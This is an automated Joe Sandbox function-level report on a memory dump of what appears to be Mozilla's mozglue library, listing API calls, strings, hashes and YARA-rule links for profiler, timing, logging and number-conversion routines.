Instruction Fuzzy Hash: 3E335E716057018FD308CF29C590615BBE1BF85328F2EC6ADE969CB7A9D771E881CB81

Function 6CAB3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAB3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAB34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAB34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CAB350E
__Init_thread_footer.LIBCMT ref: 6CAB3522
__aulldiv.LIBCMT ref: 6CAB3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAB357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAB3592

Part of subcall function 6CAEAB89: EnterCriticalSection.KERNEL32(6CB3E370,?,?,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB94
Part of subcall function 6CAEAB89: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEABD1

Strings

kernel32.dll, xrefs: 6CAB34EA
GetSystemTimePreciseAsFileTime, xrefs: 6CAB3508

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 3406647288093e54549eb8835a8178154af8f09ddd440f423d21bbbc89549c74
Instruction ID: c6ff694b0d585461509558a1772a9741b4de38db6312c46f9df7a5b047ae9e66
Opcode Fuzzy Hash: 3406647288093e54549eb8835a8178154af8f09ddd440f423d21bbbc89549c74
Instruction Fuzzy Hash: B731F675B01215AFDF20DFB8CA48EAE77B9FB45304F144519E549E3690DB70A944CF60

Function 6CB04820 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6CB04D0A
-%llu, xrefs: 6CB04825
ProfileBuffer parse error: %s, xrefs: 6CB04DD9
data, xrefs: 6CB049B4
schema, xrefs: 6CB048C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6CB04D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6CB04CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6CB04DB8, 6CB04DD8

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free
String ID: -%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3225433307
Opcode ID: 41f164462cc77b37932ff3f3bf002a295a8b59df2c1e3096dd68bf3baff4da22
Instruction ID: 9a2b41e2749db817b1b05259b3b8939807f6055961aa9eb304bc3f0730c18c45
Opcode Fuzzy Hash: 41f164462cc77b37932ff3f3bf002a295a8b59df2c1e3096dd68bf3baff4da22
Instruction Fuzzy Hash: 2B721E75A18B858BD322CF34C4513ABF7E5BFDA344F108B1DE48A6B650EB70A485DB42

Function 6CB14EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CB14EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB14F2E
moz_xmalloc.MOZGLUE ref: 6CB14F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CB14F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB152B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB152E6
Sleep.KERNEL32(00000010), ref: 6CB15481
free.MOZGLUE(?), ref: 6CB15498

Strings

(, xrefs: 6CB15250

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 8eaca65a9ade2a3435e311aa5775c142afd0d6554d72593607a34683d91703b1
Instruction ID: 0ca32d0cd84b3650e8e4337a664b665500e3435f0fe9343b3a31c10f13086149
Opcode Fuzzy Hash: 8eaca65a9ade2a3435e311aa5775c142afd0d6554d72593607a34683d91703b1
Instruction Fuzzy Hash: 8EF1A271A18B408FC716CF39C85062BB7F5AFD6284F05872EF84AA7651DB31D846CB81

Function 6CB15FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CB16009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CB16024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CABEE51,?), ref: 6CB16046
OutputDebugStringA.KERNEL32(?,6CABEE51,?), ref: 6CB16061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB16069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB16073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB16082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CB3148E), ref: 6CB16091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CABEE51,00000000,?), ref: 6CB160BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB160C4

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: b2703792a9feaf0a5458c67e1f9da077259838afa58b6e102955f53bd4e4a798
Instruction ID: 68fca8995bae0bcf89b1d8e3fb8b652c31227aeb44a5ad32a39703399e1fd0da
Opcode Fuzzy Hash: b2703792a9feaf0a5458c67e1f9da077259838afa58b6e102955f53bd4e4a798
Instruction Fuzzy Hash: D821B571A002189FDF205F28DC49AAE7BBCFF45318F008468E85E97641DB75A959CFD2

Function 6CB17030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6CB17046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6CB17060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB1707E

Part of subcall function 6CAC81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CAC81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB17096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB1709C
LocalFree.KERNEL32(?), ref: 6CB170AA

Strings

### ERROR: %s: %s, xrefs: 6CB17087
(null), xrefs: 6CB1706A, 6CB17083

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 09acaefff910a038d68c50dafb22f336e19b051da976b9775a16469ad6bdcb86
Instruction ID: fb3061805f529f2826bfc67e0d9749ba6be410e875e9b7d7d633896ad76ef50b
Opcode Fuzzy Hash: 09acaefff910a038d68c50dafb22f336e19b051da976b9775a16469ad6bdcb86
Instruction Fuzzy Hash: FA01B9B2B00118AFDF105B68DC4ADAF7BBCEF49215F010425FA0DA3241D67169188BA5

Function 6CAD9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CAD9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CAD9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAD9F34
LeaveCriticalSection.KERNEL32(?), ref: 6CADA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CADA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CADA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CADA8B1, 6CADA8D4, 6CADA8EF

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: cff119de60bae9b1fac6b5d7863bf36840475813f7128b86de0e486e229c3dbe
Instruction ID: 0730c984fea6a7934a15573b6d055ff4f5ee8ee65f37ad2ee119759de9dbee05
Opcode Fuzzy Hash: cff119de60bae9b1fac6b5d7863bf36840475813f7128b86de0e486e229c3dbe
Instruction Fuzzy Hash: 43726972A156118FD304CF28C540615FBE2BF89728B2EC6ADE8699B791D735EC81CB81

Function 6CB02C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CB02C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CB02C61

Part of subcall function 6CAB4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAB4E5A
Part of subcall function 6CAB4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAB4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB02C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB02E2D

Part of subcall function 6CAC81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CAC81DE

Strings

(root), xrefs: 6CB0354F
ProfileBuffer parse error: %s, xrefs: 6CB02E3B
expected a Time entry, xrefs: 6CB02E36

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 9525ba0e6f1680b3618ca896fb7b6f0a232879e85090656aa8cda956c8c21e46
Instruction ID: b5a193ee56d6899a49279bf76cb5a09dc754fe3df4e5067eca19ccff7189701b
Opcode Fuzzy Hash: 9525ba0e6f1680b3618ca896fb7b6f0a232879e85090656aa8cda956c8c21e46
Instruction Fuzzy Hash: 9591BE707087818FC724CF24C495AAEBBE1EF89258F104A1DE99A87750DB34D949CB53

Function 6CADC0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6CADC317
MOZ_CRASH(), xrefs: 6CADD4BB

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 76a5fce826654858cf55914ca09ffe716c0fcf91a72b8ebc894f025d6ec09a94
Instruction ID: 8574e134ff000ab01ae1f192ab7c572578a5ca5b6cbf58d91bb8de4cf1874e2d
Opcode Fuzzy Hash: 76a5fce826654858cf55914ca09ffe716c0fcf91a72b8ebc894f025d6ec09a94
Instruction Fuzzy Hash: 9C52F670A083518FD724DF18C45079AB7F2FB8A318F59891DE8DA87B81D735A885CF92

Function 6CB19E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CB19F3D
__aulldiv.LIBCMT ref: 6CB19F77
__aullrem.LIBCMT ref: 6CB19F8C
__aulldiv.LIBCMT ref: 6CB1A023

Strings

-Infinity, xrefs: 6CB19E60, 6CB19E7B
NaN, xrefs: 6CB19EAB

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 2f74131041f7cbc7c363ac9718d975c461cf79839d4c9b6a62153f14bff1e9ad
Instruction ID: 686d91275c79d1d92c5f78fbe5640a73efcec4ce92be7e61e414a848b73d7631
Opcode Fuzzy Hash: 2f74131041f7cbc7c363ac9718d975c461cf79839d4c9b6a62153f14bff1e9ad
Instruction Fuzzy Hash: 28C1C031E083988FDB14CFA8C85079EB7BAFB85714F144529D416ABB80DB71A94DCF91

Function 6CABD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6CABD852
@, xrefs: 6CABDAF6
8, xrefs: 6CABDC08
0, xrefs: 6CABDC7F
9, xrefs: 6CABDE7F
, xrefs: 6CABDA88
-, xrefs: 6CABD7DD
1, xrefs: 6CABDBDD

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: e72225ecc88ff52275c675bb55b4f57a1ce3e675c598fa55d652b70167787238
Instruction ID: 97989e13b2c4afc5c3a6d90eb1d424de28f6263dd4bddf43f8ed476cc33b8da4
Opcode Fuzzy Hash: e72225ecc88ff52275c675bb55b4f57a1ce3e675c598fa55d652b70167787238
Instruction Fuzzy Hash: 2662DF7090C7858FD705CE28C09079EBBFAAF86318F1C4A1DE4D56BA99C33598C5CB82

Function 6CAC9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

' , xrefs: 6CACA3D8
@, xrefs: 6CACA625
1, xrefs: 6CACA824
9, xrefs: 6CACA5D6
0, xrefs: 6CACAB22
0, xrefs: 6CACA100

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: b80ed81f3803b879afd1bb8ecf59ec7614600a7331f98b9f063a4e2cd013a74c
Instruction ID: 4dd729e54a44cf74d83a3c58380b610aec055f5efe3479aa1ef3502b2e842945
Opcode Fuzzy Hash: b80ed81f3803b879afd1bb8ecf59ec7614600a7331f98b9f063a4e2cd013a74c
Instruction Fuzzy Hash: 5382C031B093258BD7118F19C09437EB7F3EB85758F598A2AE8A557A90D3389CC5CB83

Function 6CABBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CABC1CB
__aulldiv.LIBCMT ref: 6CABC24C
__aulldiv.LIBCMT ref: 6CABC348
__aullrem.LIBCMT ref: 6CABC365
__aulldiv.LIBCMT ref: 6CABC37D

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: f6d60b78d5f3980c573716947c523ab6633032901b529826474932f9beadbb83
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 0F322632B046118FC718DE2CC890A56BBEAAFC9314F09867DE899DB395D734ED05CB91

Function 6CB2545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB28A4B

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: a7bc3bb7ab0cdafeb003da4676b69c84827a538cbbd4524cc15ca49530113834
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 97B10972E0025A8FDB24CF68CC907E9B7B2EF95314F1802A9C44DDB785D734A989CB91

Function 6CB2542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB288F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB2925C

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 17acd0b7ab795d9c1b6775329d1e812cc6f26cc00c6069ce3f7e650a15c99a72
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: F3B1C572E0024A8BDB14CF58CC816EDB7B2EF94314F180269C95DEB785D734A989CB90

Function 6CB250C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB28E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB2925C

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: d6a3b4a9bc66e788abd7c4882d5de26f97ddc594a2c540cb09c757d38384f65c
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 30A1E672E001568FDB24CE68CC807ADB7B2EF95314F1802B9C95DEB785D734A999CB90

Function 6CB077A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB07A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB07A93

Part of subcall function 6CAD5C50: GetTickCount64.KERNEL32 ref: 6CAD5D40
Part of subcall function 6CAD5C50: EnterCriticalSection.KERNEL32(6CB3F688), ref: 6CAD5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB07AA1

Part of subcall function 6CAD5C50: __aulldiv.LIBCMT ref: 6CAD5DB4
Part of subcall function 6CAD5C50: LeaveCriticalSection.KERNEL32(6CB3F688), ref: 6CAD5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CB07B31

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

